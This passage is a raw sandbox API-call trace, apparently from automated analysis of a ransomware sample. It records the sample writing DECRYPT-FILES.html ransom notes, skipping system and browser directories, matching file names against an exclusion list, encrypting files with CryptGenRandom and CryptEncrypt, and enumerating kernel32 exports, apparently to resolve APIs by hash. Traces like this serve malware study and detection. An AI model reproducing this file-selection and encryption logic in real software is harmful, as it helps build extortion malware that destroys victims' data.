ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0128.628] FindClose (in: hFindFile=0x3b80f00 | out: hFindFile=0x3b80f00) returned 1 [0128.628] CloseHandle (hObject=0x528) returned 1 [0128.628] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0128.628] lstrcmpW (lpString1="1042", lpString2=".") returned 1 [0128.628] lstrcmpW (lpString1="1042", lpString2="..") returned 1 [0128.628] lstrcatW (in: lpString1="1042", lpString2="\\" | out: lpString1="1042\\") returned="1042\\" [0128.628] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1042\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0128.628] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch=":\\Windows") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\Program Files") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\Games\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\Tor Browser\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\ProgramData\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0128.629] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1042\\", lpSrch="\\All Users") returned 0x0 [0128.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.629] lstrlenW (lpString="eogwkz.dat") returned 10 [0128.629] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\\\eogwkz.dat") returned 38 [0128.629] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1042\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0128.629] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.629] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0128.629] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\\\DECRYPT-FILES.html") returned 46 [0128.629] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1042\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0128.630] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0128.631] CloseHandle (hObject=0x470) returned 1 [0128.631] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.631] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1042\\*") returned="C:\\588bce7c90097ed212\\1042\\*" [0128.631] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x52ec643b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80fc0 [0128.632] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0128.632] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x52ec643b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0128.632] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0128.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.632] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ec643b, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x52ec643b, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x52ec643b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0128.632] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0128.632] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ec643b, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x52ec643b, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x52ec643b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0128.632] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0128.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.632] lstrlenW (lpString="eogwkz.dat") returned 10 [0128.632] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1042\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0128.632] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1042\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1042\\eogwkz.dat" [0128.632] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.632] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1042\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.633] CloseHandle (hObject=0x0) returned 0 [0128.633] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.633] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0128.633] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0128.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.633] lstrlenW (lpString="eula.rtf") returned 8 [0128.633] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1042\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0128.633] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf" [0128.633] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.633] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0128.633] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=12687) returned 1 [0128.634] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0128.634] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0128.757] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0128.757] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0128.757] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0128.758] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0128.758] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0128.759] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.759] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0128.759] CloseHandle (hObject=0x5f8) returned 1 [0128.759] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.760] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0128.760] CloseHandle (hObject=0x0) returned 0 [0128.761] CloseHandle (hObject=0x5f4) returned 1 [0128.762] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.762] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.763] GetTickCount () returned 0x3591d [0128.763] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.763] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0128.763] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0128.763] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0128.764] lstrlenA (lpString="kernel32.dll") returned 12 [0128.764] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0128.764] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0128.764] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0128.764] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0128.764] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0128.764] lstrlenA (lpString="ADDATOMA") returned 8 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0128.764] lstrlenA (lpString="ADDATOMW") returned 8 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0128.764] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0128.764] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0128.764] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0128.765] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0128.765] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0128.765] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0128.765] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0128.765] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0128.765] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0128.765] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0128.765] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0128.765] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0128.765] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0128.765] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0128.765] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0128.765] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0128.765] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0128.765] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0128.765] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0128.765] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0128.766] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0128.766] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0128.766] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0128.766] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0128.766] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0128.766] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0128.766] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0128.766] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0128.766] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0128.766] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0128.766] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0128.766] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0128.766] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0128.766] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0128.766] lstrlenA (lpString="BACKUPREAD") returned 10 [0128.766] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0128.766] lstrlenA (lpString="BACKUPSEEK") returned 10 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0128.767] lstrlenA (lpString="BACKUPWRITE") returned 11 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0128.767] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0128.767] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0128.767] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0128.767] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0128.767] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0128.767] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0128.767] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0128.767] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0128.767] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0128.767] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0128.767] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0128.767] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0128.767] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0128.767] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0128.767] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0128.768] lstrlenA 